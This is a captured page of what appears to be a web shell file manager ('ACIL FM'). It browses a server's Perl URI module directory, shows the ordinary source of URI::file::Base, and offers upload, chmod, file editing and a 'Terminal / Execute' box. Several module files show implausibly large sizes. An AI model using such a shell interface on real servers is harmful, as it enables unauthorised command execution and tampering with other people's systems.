ACIL FM
Dark
Refresh
Current DIR:
/usr/local/share/perl5/5.32/URI/file
/
usr
local
share
perl5
5.32
URI
file
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Base.pm
1.45 MB
chmod
View
DL
Edit
Rename
Delete
FAT.pm
497 B
chmod
View
DL
Edit
Rename
Delete
Mac.pm
2.43 MB
chmod
View
DL
Edit
Rename
Delete
OS2.pm
561 B
chmod
View
DL
Edit
Rename
Delete
QNX.pm
337 B
chmod
View
DL
Edit
Rename
Delete
Unix.pm
1022 B
chmod
View
DL
Edit
Rename
Delete
Win32.pm
1.72 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/local/share/perl5/5.32/URI/file/Base.pm
package URI::file::Base; use strict; use warnings; use URI::Escape (); our $VERSION = '5.29'; sub new { my $class = shift; my $path = shift; $path = "" unless defined $path; my($auth, $escaped_auth, $escaped_path); ($auth, $escaped_auth) = $class->_file_extract_authority($path); ($path, $escaped_path) = $class->_file_extract_path($path); if (defined $auth) { $auth =~ s,%,%25,g unless $escaped_auth; $auth =~ s,([/?\#]), URI::Escape::escape_char($1),eg; $auth = "//$auth"; if (defined $path) { $path = "/$path" unless substr($path, 0, 1) eq "/"; } else { $path = ""; } } else { return undef unless defined $path; $auth = ""; } $path =~ s,([%;?]), URI::Escape::escape_char($1),eg unless $escaped_path; $path =~ s/\#/%23/g; my $uri = $auth . $path; $uri = "file:$uri" if substr($uri, 0, 1) eq "/"; URI->new($uri, "file"); } sub _file_extract_authority { my($class, $path) = @_; return undef unless $class->_file_is_absolute($path); return $URI::file::DEFAULT_AUTHORITY; } sub _file_extract_path { return undef; } sub _file_is_absolute { return 0; } sub _file_is_localhost { shift; # class my $host = lc(shift); return 1 if $host eq "localhost"; eval { require Net::Domain; lc(Net::Domain::hostfqdn() || '') eq $host || lc(Net::Domain::hostname() || '') eq $host; }; } sub file { undef; } sub dir { my $self = shift; $self->file(@_); } 1;
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply